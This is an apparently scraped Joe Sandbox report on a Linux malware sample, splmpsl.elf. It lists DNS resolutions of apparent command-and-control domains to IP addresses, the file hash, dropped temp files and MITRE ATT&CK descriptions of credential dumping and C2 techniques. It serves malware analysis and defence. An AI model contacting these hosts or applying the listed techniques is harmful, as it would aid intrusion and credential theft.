Dec 24, 2024 03:57:31.455544949 CET	168.235.111.72	192.168.2.14	0x4a5b	No error (0)	serisbot.geek	154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 03:57:31.455544949 CET	168.235.111.72	192.168.2.14	0x4a5b	No error (0)	serisbot.geek	154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 03:57:43.374545097 CET	194.36.144.87	192.168.2.14	0x9c22	No error (0)	serisontop.dyn	209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 03:57:43.374545097 CET	194.36.144.87	192.168.2.14	0x9c22	No error (0)	serisontop.dyn	154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 03:57:43.374545097 CET	194.36.144.87	192.168.2.14	0x9c22	No error (0)	serisontop.dyn	154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 03:57:55.865695953 CET	202.61.197.122	192.168.2.14	0xce39	No error (0)	serisontop.dyn	209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 03:57:55.865695953 CET	202.61.197.122	192.168.2.14	0xce39	No error (0)	serisontop.dyn	154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 03:57:55.865695953 CET	202.61.197.122	192.168.2.14	0xce39	No error (0)	serisontop.dyn	154.216.16.250	A (IP address)	IN (0x0001)	false

Start time (UTC):	02:57:29
Start date (UTC):	24/12/2024
Path:	/tmp/splmpsl.elf
Arguments:	/tmp/splmpsl.elf
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report splmpsl.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0EvUfO (deleted)

/tmp/qemu-open.0L1YyQ (deleted)

/tmp/qemu-open.0aYeaP (deleted)

/tmp/qemu-open.0y5ZKQ (deleted)

/tmp/qemu-open.3kPiVN (deleted)

/tmp/qemu-open.5CuMoP (deleted)

/tmp/qemu-open.5Is9gQ (deleted)

/tmp/qemu-open.5JpFZN (deleted)

/tmp/qemu-open.5Y8V1P (deleted)

/tmp/qemu-open.5rnoUQ (deleted)

/tmp/qemu-open.5vPzjQ (deleted)

/tmp/qemu-open.5wG4rO (deleted)

/tmp/qemu-open.69rj4Q (deleted)

/tmp/qemu-open.6TggxO (deleted)

/tmp/qemu-open.6ZsrPM (deleted)

/tmp/qemu-open.79NNOP (deleted)

/tmp/qemu-open.7RY3xQ (deleted)

/tmp/qemu-open.8JGjYQ (deleted)

/tmp/qemu-open.8qNxEO (deleted)

/tmp/qemu-open.9P821M (deleted)

/tmp/qemu-open.Am4igQ (deleted)

/tmp/qemu-open.Axq9RQ (deleted)

/tmp/qemu-open.EEs6mQ (deleted)

/tmp/qemu-open.ENWkBO (deleted)

/tmp/qemu-open.FOgy7O (deleted)

/tmp/qemu-open.G17Y3O (deleted)

/tmp/qemu-open.GIDx3Q (deleted)

/tmp/qemu-open.GQssSO (deleted)

/tmp/qemu-open.GZCbeQ (deleted)

/tmp/qemu-open.Gocs6M (deleted)

/tmp/qemu-open.HJmiXP (deleted)

/tmp/qemu-open.IOkGvO (deleted)

/tmp/qemu-open.Iyu7BQ (deleted)

Linux Analysis Report
splmpsl.elf

Start time (UTC):	02:57:30
Start date (UTC):	24/12/2024
Path:	/tmp/splmpsl.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre